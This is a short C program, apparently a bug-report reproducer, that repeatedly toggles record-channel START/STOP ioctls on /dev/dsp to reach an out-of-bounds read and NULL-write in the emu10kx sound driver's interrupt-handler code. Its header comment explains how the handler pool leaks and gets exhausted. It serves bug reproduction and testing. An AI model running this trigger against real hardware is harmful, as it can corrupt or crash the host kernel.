DF-3866 / rec_cycle.c
/* * DF-3866 — userland rec-channel START/STOP cycle against /dev/dsp. * * On real emu10kx hardware: every PCMTRIG_START calls * emu_intr_register() and every STOP calls emu_intr_unregister() * (emu10kx-pcm.c:983/992). Once the 32-slot ihandler pool is * exhausted (root: kldload/kldunload cycling leaks one slot per pcm * child because emu_pcm_uninit never unregisters the card-level * handle registered at emu10kx-pcm.c:1453), START stores -1 in * ch->ihandle and STOP calls emu_intr_unregister(sc, -1) -> * sc->ihandler[-1] OOB read + NULL-write cluster (emu10kx.c:956-967). * * On this QEMU guest there is no Creative Labs PCI device, so this * program stops at the hardware gate. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/ioctl.h> #include <sys/soundcard.h> int main(int argc, char **argv) { const char *dev = (argc > 1) ? argv[1] : "/dev/dsp0"; int cycles = (argc > 2) ? atoi(argv[2]) : 100; int fd, i, trig, fmt = AFMT_S16_LE, speed = 48000; fd = open(dev, O_RDONLY); if (fd < 0) { printf("GATE: cannot open %s: %s\n", dev, strerror(errno)); if (errno == ENOENT || errno == ENXIO) printf("GATE: target device absent -> trigger " "impossible on this guest (no emu10kx hw)\n"); return (77); } if (ioctl(fd, SNDCTL_DSP_SETFMT, &fmt) < 0 || ioctl(fd, SNDCTL_DSP_SPEED, &speed) < 0) { perror("SETFMT/SPEED"); close(fd); return (1); } for (i = 0; i < cycles; i++) { trig = PCM_ENABLE_INPUT; /* START: emu_intr_register */ if (ioctl(fd, SNDCTL_DSP_SETTRIGGER, &trig) < 0) { perror("SETTRIG start"); break; } trig = 0; /* STOP: emu_intr_unregister */ if (ioctl(fd, SNDCTL_DSP_SETTRIGGER, &trig) < 0) { perror("SETTRIG stop"); break; } } printf("completed %d START/STOP cycles (hardware path only)\n", i); close(fd); return (0); } |